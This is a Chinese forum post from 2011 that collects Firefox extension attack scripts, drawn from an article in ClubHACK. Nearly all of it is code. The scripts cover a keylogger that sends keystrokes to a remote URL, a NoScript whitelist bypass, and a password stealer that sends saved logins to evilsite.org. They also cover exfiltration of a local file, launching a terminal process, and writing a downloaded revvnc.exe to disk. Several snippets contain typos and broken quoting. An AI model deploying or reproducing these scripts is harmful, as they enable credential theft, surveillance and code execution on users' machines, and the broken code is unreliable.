在阅读《ClubHACK》黑客杂志时,看到一篇关于Firefox浏览器攻击手法的文章,
标题为《Mozilla Firefox Internals & Attack Strategies》,里面提供有多份javascript代码,
用于实现Firefox浏览器下的脚本攻击。本文对此作个简单记录留作备忘,
以后需要用到时方便回头查阅,并参考其它资料作一总结性记录。
一、Key Logger
// 先在Mozilla Firefox中用addEventListener为keypress事件注册一个事件处理程序,这里为onkey函数,以此实现键盘记录功能。
document.addEventListener("keypress", onkey,false);
var keys='';
function onkey(e){
keyss += String.fromCharCode(e.charCode); // 将按键码转换为字符
if (keys.length>20){
// 利用XMLHTTP请求向远程网站发送记录下的按键字符
http=new XMLHttpRequest();
url = "http://***********.com/prasannak/ler****.php?keylog="+keyss+"\n";
http.open("GET",url,false);
http.send(null);
keyss='';
}
}
二、No-Script Bypass
利用XPCOM(跨平台组件对象模型)中的类和组件来向将恶意站点添加到no-script白名单中,以此绕过no-script插件的保护。
// 其中let关键字只在Firefox或者其它基于mozilla的浏览器中有效,它代表着类似局部变量的意义,具体可参考这里:
// https://developer.mozilla.org/en/New_in_JavaScript_1.7#let_statement
let Sub_btn = {
onCommand: function(event) {
// 创建preferences-service实例
var perfs =
Components.classes["@mozilla.org/preferences-service;1"].
getService(Components.interfaces.nsIPrefService);
// 获取“capability.policy.maonoscript.”子分支
perfs = perfs.getBranch("capability.policy.maonoscript.");
//向no-script白名单中添加恶意站点
perfs.setCharPref("sites", "default noscript whitelisted sites + malicioussitehere.com”);");
}
}
三、Password Stealer
利用XPCOM来获取LoginManager中记录的登陆信息,以截取用户的登陆密码。
let HelloWorld = {
onCommand: function(event) {
// 创建login-manager实例
var l2m =
Components.classes["@mozilla.org/login-manager;1"].
getService(Components.interfaces.nsILoginManager);
// 获取所有被登陆管理器记录的信息
alltheinfo = l2m.getAllLogins({});
for (i=0; I<=alltheinfo.length; i=i+1){
window.open('http://evilsite.org/?'
+ unescape(alltheinfo[i].hostname) + '.'
+ unescape(alltheinfo[i].username) + '.'
+ unescape(alltheinfo[i].password));
}
}
} ;
四、攻击DOM与事件句柄
Extension XUL Code
<script>
var customExtension = {
customListener: function(evt) {
// loadOverlay函数不能发送基于http的xul请求,但允许来自“chrome:\\”的xul请求。
document.loadOverlay(evt.target.getAttribute("url"), null);
}
}
document.addEventListener("CustomEvent", function(e) {
customExtension.customListener(e);
}, false, true);
</script>
Malicious Web Location Code
<html>
<head>
<title>Test</title>
<script>
var element =
document.createElement("CustomExtensionDataElement");
element.setAttribute("url","chrome://hellooworld/content/q1.xul");
document.documentElement.appendChild(element);
var evt = document.createEvent("Events");
evt.initEvent("CustomEvent",true,false);
element.dispatchEvent(evt);
</script>
</head>
<body>
<p>
This Test Page </p>
</body>
</htmL>
五、Bypassing Wrappers
Extension Code
function Test_Function()
{
test = my_message
if (test==null)
{
alert("Wrapper Exists")
}
else{
alert(test);
trim =
window.content.wrappedJSObject.my_message1
eval(trim);
}
}
Malicious Website Code
<html>
<head>
<title>Test</title>
<script>
var dir= "123";
my_message1="eval("eval(dirService =
Components.classes['@mozilla.org/file/directory_service;1'].
getService(Components.interfaces.nsIProperties);))
eval( homeDirFile = dirService.get('Home',
Components.interfaces.nsIFile);)
eval(homeDir = homeDirFile.path;)
eval(alert(homeDir);))"))"
</script>
</head>
<body>
<p>
This Test Page </p>
</body>
</htmL>
六、本地文件访问
var fileToRead=”file:///C:/boot.ini”;
var fileContents=document.ReadURL.readFile(fileToRead);
setTimeout(“”,100);
var remoteLocation=”http://evilsite.org/” + unescape(fileContents);
document.location=remoteLocation;
七、远程代码执行
var lFile = Components.classes["@mozilla.org/file/local;1"].
createInstance(Components.interfaces.nsILocalFile);
var lPath = "/usr/bin/gnome-terminal";
lFile.initWithPath(lPath);
var process = Components.classes["@mozilla.org/process/util;1"].
createInstance(Components.interfaces.nsIProcess);
process.init(lFile);
process.run(false,'','');
八、写文件系统
var xmlhttp;
function loadXMLDoc(url){
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",url,false);
xmlhttp.overrideMimeType('text/plain; charset=x-user-defined');
xmlhttp.send(null);
if (xmlhttp.status==200){
setTimeout("",300);
makefile(xmlhttp.responseText);
}
}
function makefile(bdata){
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("Home", Components.interfaces.nsIFile);
var aFile = Components.classes["@mozilla.org/file/local;1"].
createInstance(Components.interfaces.nsILocalFile);
aFile.initWithPath( getWorkingDir.path + "\\revvnc.exe" );
aFile.createUnique( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
stream.write(bdata, bdata.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream){
stream.finish();
} else{
stream.close();
}
}
- 标 题:Firefox攻击技巧总结
- 作 者:riusksk
- 时 间:2011-05-16 10:02:07
- 链 接:http://bbs.pediy.com/showthread.php?t=134012